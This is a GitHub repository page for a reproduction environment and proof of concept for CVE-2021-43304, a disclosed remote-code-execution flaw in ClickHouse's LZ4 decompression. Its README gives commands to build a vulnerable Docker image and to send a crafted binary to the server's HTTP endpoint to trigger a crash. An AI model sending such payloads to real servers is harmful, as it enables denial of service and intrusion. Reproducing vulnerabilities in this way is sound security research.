Skip to content

Includes analysis environment, poc for analyzing vulnerabilities found in clickhouse lz4 implementation

Notifications You must be signed in to change notification settings

s3nt3/clickhouse-lz4-rce

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 

Repository files navigation

Clickhouse LZ4 RCE

The 7 vulnerabilities in Clickhouse discovered by the JFrog Security team, including 2 RCE vulnerabilities, were disclosed. For details, see: Clickhouse Security Changelog. This repository contains a reproduction environment and PoC for one of these vulnerabilities, CVE-2021-43304.

Reproduction

First, clone this repository:

$ git clone https://github.com/s3nt3/clickhouse-lz4-rce.git
$ cd clickhouse-lz4-rce

We need to build the vulnerable clickhouse image and run the clickhouse container as follows:

$ cd docker && docker-compose build && docker-compose up

Use the following command to reproduce the crash:

$ cat poc/CVE-2021-43304.bin | curl -sS --data-binary @- 'http://[your ip address]:8123/?decompress=1'

About

Includes analysis environment, poc for analyzing vulnerabilities found in clickhouse lz4 implementation

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published